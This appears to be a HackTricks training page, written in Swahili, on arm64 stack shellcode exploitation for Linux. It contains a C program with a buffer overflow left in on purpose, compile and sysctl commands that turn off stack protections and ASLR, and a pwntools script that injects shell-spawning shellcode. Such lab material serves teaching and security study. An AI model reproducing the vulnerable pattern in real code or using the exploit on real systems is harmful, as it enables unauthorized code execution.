# Stack Shellcode - arm64

{{#include ../../../banners/hacktricks-training.md}}

Pata utangulizi kuhusu arm64 katika:

{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}

## Linux

### Code
```c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}
```
Kompaili bila pie, canary na nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
### Hakuna ASLR & Hakuna canary - Stack Overflow

Ili kuzima ASLR tekeleza:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ili kupata [**offset ya bof angalia kiungo hiki**](../ret2win/ret2win-arm64.md#finding-the-offset).

Exploit:
```python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()
```
Jambo pekee "ngumu" la kupata hapa ni anwani kwenye stack ya kuitwa. Katika kesi yangu nilitengeneza exploit kwa kutumia anwani niliyopata kwa gdb, lakini wakati wa kui-exploit haikufanya kazi (kwa sababu anwani ya stack ilibadilika kidogo).

Nilifungua generated **`core` file** (`gdb ./bog ./core`) na kukagua anwani halisi ya mwanzo wa shellcode.


## macOS

> [!TIP]
> Hawezekani kuzima NX kwenye macOS kwa sababu kwenye arm64 modi hii imetekelezwa kwenye ngazi ya hardware, hivyo hutaweza kuizima — hivyo hautapata mifano yenye shellcode kwenye stack kwenye macOS.

Angalia mfano wa macOS ret2win katika:

{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}


{{#include ../../../banners/hacktricks-training.md}}